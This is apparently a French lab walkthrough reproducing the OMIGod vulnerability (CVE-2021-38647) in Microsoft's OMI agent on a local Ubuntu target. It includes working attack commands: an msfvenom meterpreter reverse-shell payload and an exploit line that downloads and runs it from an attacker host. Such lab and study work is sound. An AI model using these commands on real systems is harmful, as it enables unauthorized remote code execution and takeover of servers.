774499ce428dda689e3f9692993dd0a1.png

La vulnérabilité CVE-2021-38647, aka OMIGod, n’affecte pas directement les produits Microsoft. Il s’agit d’un bug dans l’outil Open Management Infrastruture (OMI) de Microsoft, conçu pour Linux en général et pour les serveurs Linux hébergés par Azure en particulier. [1]

Qu’est-ce que OMI ?

OMI est l’équivalent UNIX/Linux de WMI de Windows. Il permet aux utilisateurs de gérer des configurations dans des environnements locaux et distants et de collecter des statistiques. En raison de la facilité d’utilisation et de l’abstraction qu’il offre, OMI est largement utilisé dans Azure, notamment dans Open Management Suite (OMS), Azure Insights, Azure Automation et bien d’autres.

L’agent OMI est automatiquement déployé sur les VM Azure. De plus, les agents OMI sont fréquemment utilisés sur site pour la gestion des machines Linux. Par exemple, OMI est intégré à Microsoft System Center for Linux, la solution de gestion de serveurs de Microsoft. [2]

Comment fonctionne OMIGod ?

Un schéma vaut mieux qu’un long discours:

6140a39db8b542f66e0a8470_OMI gif 1 final.mp4.gif Source: [2]

Etude de OMIGod

Afin d’étudier cette vulnérabilité, nous nous baserons sur le travail d’IppSec [3] qui nous montre comment reproduire une infrastructure vulnérable sans à avoir à utiliser Azure :)

Github: https://github.com/Microsoft/omi

Se rendre sur la release page et download la version 1.6.8-0 soit la dernière version vulnérable de OMI

wget https://github.com/microsoft/omi/releases/download/v1.6.8-0/omi-1.6.8-0.ssl_100.ulinux.x64.deb

Installer OMI:

sudo dpkg -i ./omi-1.6.8-0.ssl_100.ulinux.x64.deb

Avec Ubuntu 21.04 Hirsute Hippo:

3cfeb1fccba02f9573641338fea00f03.png

Avec une version plus ancienne, Ubuntu 16.04.6 Xenial, ça marche très bien :)

79bc93c1e550eded0df55c6d92d4e597.png

On a maintenant un OMI vulnérable qui tourne sur notre machine cible.

Modifier le fichier de configuration pour utiliser le port 5986:

5bb11a9688ec28924337943d9140a1c6.png

Relancer le server: sudo service omid restart

Installer SCX:

$ wget https://github.com/microsoft/SCXcore/releases/download/v1.6.8-1/scx-1.6.8-1.ssl_100.ulinux.x64.deb
$ sudo dpkg -i scx-1.6.8–1.ssl_110.ulinux.x64.deb

d3c9921a6acf5c1c34f36142c619ff15.png

Sur une machine d’attaque, cloner le poc pour OMIGod: https://github.com/horizon3ai/CVE-2021-38647

git clone https://github.com/horizon3ai/CVE-2021-38647.git

Test de la vulnérabilité: python3 omigod.py -t [IP] -c id

82085243f63bc8b986e15b99a57de51a.png

On essaie d’obtenir un reverse shell avec les oneliners sans succès.

Par contre on peut uploader des fichiers sur le serveur :)

41a68cd86c6d8c92e0eed8729ed78995.png

55596f5e4de7aa7686b30e61e719b20b.png

On va créer un payload avec msfvenom et le transférer sur le serveur pour obtenir une session meterpreter:

1 - Création du payload:

Ici la cible est une ubuntu x64

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=[IP] LPORT=[PORT] -f elf > rev_shell.elf

3183c8266ad5f0a0c74f323f2a7226e8.png

2 - Lancer un serveur http: python3 -m http.server 80

3 - Lancer un listener sur Metasploit

ec30427176f239c54229a3e9be094a17.png

4 - Lancer l’exploit

python3 omigod.py -t [TARGET_IP] -c 'cd /tmp; wget http://[ATTACK_IP]/rev_shell.elf; chmod 777 rev_shell.elf; ./rev_shell.elf'

e6eb2cf7505cac182245402c568a1331.png

48fef2aa55e43ccb25dd04c50c11a721.png

Résultat:

64e089c62a1c91ed115bdc2737ed90f4.png

On a donc bien obtenu un reverse shell en utilisant la vulnérabilité OMIGod :)

Références

[1] Sophos, OMIGOD, an exploitable hole in Microsoft open source code!, https://nakedsecurity.sophos.com/2021/09/16/omigod-an-exploitable-hole-in-microsoft-open-source-code/

[2] Wiz, OMIGOD: Critical Vulnerabilities in OMI Affecting Countless Azure Customers, https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure

[3] IppSec, Playing with Exploits - OMIGod, https://www.youtube.com/watch?v=TXqi1BKtcyM

Poursuivez avec :

CC-BY

This work is licensed under a Creative Commons Attribution 4.0 International License.